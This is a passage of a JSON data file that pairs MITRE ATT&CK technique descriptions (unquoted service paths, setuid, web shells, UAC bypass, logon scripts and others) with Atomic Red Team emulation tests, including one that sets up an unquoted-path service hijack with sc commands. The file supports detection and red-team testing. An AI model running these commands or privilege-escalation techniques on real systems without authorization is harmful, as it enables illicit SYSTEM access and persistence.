- "identifier": "T1574.009"
- },
- "atomic_tests": [
- {
- "name": "Execution of program.exe as service with unquoted service path",
- "auto_generated_guid": "2770dea7-c50f-457b-84c4-c40a47460d9f",
- "description": "When a service is created whose executable path contains spaces and isn\u2019t enclosed within quotes, leads to a vulnerability\nknown as Unquoted Service Path which allows a user to gain SYSTEM privileges.\nIn this case, if an executable program.exe in C:\\ exists, C:\\program.exe will be executed instead of test.exe in C:\\Program Files\\subfolder\\test.exe.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "service_executable": {
- "description": "Path of the executable used for the service and as the hijacked program.exe",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1574.009\\bin\\WindowsServiceExample.exe"
- }
- },
- "executor": {
- "command": "copy #{service_executable} \"C:\\Program Files\\windows_service.exe\"\ncopy #{service_executable} \"C:\\program.exe\"\nsc create \"Example Service\" binpath= \"C:\\Program Files\\windows_service.exe\" Displayname= \"Example Service\" start= auto\nsc start \"Example Service\"\n",
- "cleanup_command": "sc stop \"Example Service\" >nul 2>&1\nsc delete \"Example Service\" >nul 2>&1\ndel \"C:\\Program Files\\windows_service.exe\" >nul 2>&1\ndel \"C:\\program.exe\" >nul 2>&1\ndel \"C:\\Time.log\" >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1166": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1166",
- "url": "https://attack.mitre.org/techniques/T1166"
- },
- {
- "url": "http://man7.org/linux/man-pages/man2/setuid.2.html",
- "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.",
- "source_name": "setuid man page"
- },
- {
- "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
- "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
- "source_name": "OSX Keydnap malware"
- }
- ],
- "modified": "2020-02-05T20:09:22.650Z",
- "name": "Setuid and Setgid",
- "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l
. The chmod
program can set these bits with via bitmasking, chmod 4777 [file]
or via shorthand naming, chmod u+s [file]
.\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_effective_permissions": [
- "Administrator",
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1037.005": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f",
- "created": "2020-01-15T18:00:33.603Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1037.005",
- "url": "https://attack.mitre.org/techniques/T1037/005"
- },
- {
- "source_name": "Startup Items",
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
- "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017."
- },
- {
- "source_name": "Methods of Mac Malware Persistence",
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems
isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist
, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.",
- "modified": "2022-04-20T16:43:21.560Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Boot or Logon Initialization Scripts: Startup Items",
- "x_mitre_detection": "The /Library/StartupItems
folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.\n\nMonitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Creation",
- "Process: Process Creation",
- "Command: Command Execution",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1037.005"
- },
- "atomic_tests": []
- },
- "T1100": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:13.061Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1100",
- "url": "https://attack.mitre.org/techniques/T1100"
- },
- {
- "external_id": "CAPEC-650",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/650.html"
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html",
- "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.",
- "source_name": "Lee 2013"
- },
- {
- "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A",
- "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
- "source_name": "US-CERT Alert TA15-314A Web Shells"
- }
- ],
- "modified": "2020-03-19T20:22:02.163Z",
- "name": "Web Shell",
- "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n
\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running [cmd](https://attack.mitre.org/software/S0106) or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_system_requirements": [
- "Adversary access to Web server with vulnerability or account to upload and serve the Web shell file."
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM",
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1078.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jon Sternstein, Stern Security"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f",
- "created": "2020-03-13T20:21:54.758Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1078.002",
- "url": "https://attack.mitre.org/techniques/T1078/002"
- },
- {
- "source_name": "TechNet Credential Theft",
- "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx",
- "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016."
- },
- {
- "source_name": "TechNet Audit Policy",
- "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
- "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016."
- },
- {
- "source_name": "Microsoft AD Accounts",
- "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts",
- "description": "Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020."
- },
- {
- "source_name": "Ubuntu SSSD Docs",
- "url": "https://ubuntu.com/server/docs/service-sssd",
- "description": "Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/560.html",
- "source_name": "capec",
- "external_id": "CAPEC-560"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.",
- "modified": "2022-04-19T20:14:34.479Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Domain Accounts",
- "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Creation",
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Metadata"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1034": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:36.140Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": false,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1034",
- "url": "https://attack.mitre.org/techniques/T1034"
- },
- {
- "external_id": "CAPEC-159",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/159.html"
- },
- {
- "url": "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/",
- "description": "Nagaraju, S. (2014, April 8). MS14-019 \u2013 Fixing a binary hijacking via .cmd or .bat file. Retrieved July 25, 2016.",
- "source_name": "TechNet MS14-019"
- },
- {
- "url": "http://support.microsoft.com/KB/103000",
- "description": "Microsoft. (n.d.). CurrentControlSet\\Services Subkey Entries. Retrieved November 30, 2014.",
- "source_name": "Microsoft Subkey"
- },
- {
- "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464",
- "description": "Baggett, M. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved December 4, 2014.",
- "source_name": "Baggett 2012"
- },
- {
- "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/",
- "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018.",
- "source_name": "SecurityBoulevard Unquoted Services APR 2018"
- },
- {
- "url": "https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/",
- "description": "McFarland, R. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.",
- "source_name": "SploitSpren Windows Priv Jan 2018"
- },
- {
- "url": "http://msdn.microsoft.com/en-us/library/ms682425",
- "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
- "source_name": "Microsoft CreateProcess"
- },
- {
- "url": "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120",
- "description": "Hill, T. (n.d.). Windows NT Command Shell. Retrieved December 5, 2014.",
- "source_name": "Hill NT Shell"
- },
- {
- "url": "http://msdn.microsoft.com/en-us/library/ms687393",
- "description": "Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.",
- "source_name": "Microsoft WinExec"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx",
- "description": "Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.",
- "source_name": "MSDN Environment Property"
- }
- ],
- "modified": "2020-07-06T18:49:35.645Z",
- "name": "Path Interception",
- "description": "**This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**\n\nPath interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe
vs. \"C:\\safe path with space\\program.exe\"
). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe
, an adversary may create a program at C:\\program.exe
that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32
(e.g., C:\\Windows\\system32
), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path
precedes C:\\Windows\\system32
is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path
will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user
. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user
will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "x_mitre_deprecated": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_effective_permissions": [
- "User",
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1037.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99",
- "type": "attack-pattern",
- "created": "2020-01-10T18:01:03.666Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1037.003",
- "url": "https://attack.mitre.org/techniques/T1037/003"
- },
- {
- "source_name": "Petri Logon Script AD",
- "url": "https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008",
- "description": "Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019."
- }
- ],
- "modified": "2020-03-24T23:45:25.625Z",
- "name": "Network Logon Script",
- "description": "Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution",
- "File: File Modification",
- "Active Directory: Active Directory Object Modification",
- "File: File Creation"
- ]
- },
- "atomic_tests": []
- },
- "T1088": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak",
- "Casey Smith"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:07.462Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1088",
- "url": "https://attack.mitre.org/techniques/T1088"
- },
- {
- "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works",
- "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.",
- "source_name": "TechNet How UAC Works"
- },
- {
- "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx",
- "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.",
- "source_name": "TechNet Inside UAC"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx",
- "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.",
- "source_name": "MSDN COM Elevation"
- },
- {
- "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html",
- "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.",
- "source_name": "Davidson Windows"
- },
- {
- "url": "https://github.com/hfiref0x/UACME",
- "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
- "source_name": "Github UACMe"
- },
- {
- "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
- "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.",
- "source_name": "enigma0x3 Fileless UAC Bypass"
- },
- {
- "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware",
- "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.",
- "source_name": "Fortinet Fareit"
- },
- {
- "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass",
- "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.",
- "source_name": "SANS UAC Bypass"
- },
- {
- "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/",
- "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.",
- "source_name": "enigma0x3 sdclt app paths"
- },
- {
- "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/",
- "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.",
- "source_name": "enigma0x3 sdclt bypass"
- }
- ],
- "modified": "2020-02-05T20:08:32.863Z",
- "name": "Bypass User Account Control",
- "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe
can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe
bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command
Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The sdclt.exe
bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe
and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand
Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Windows User Account Control"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1546.010": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd",
- "type": "attack-pattern",
- "created": "2020-01-24T14:52:25.589Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.010",
- "url": "https://attack.mitre.org/techniques/T1546/010"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
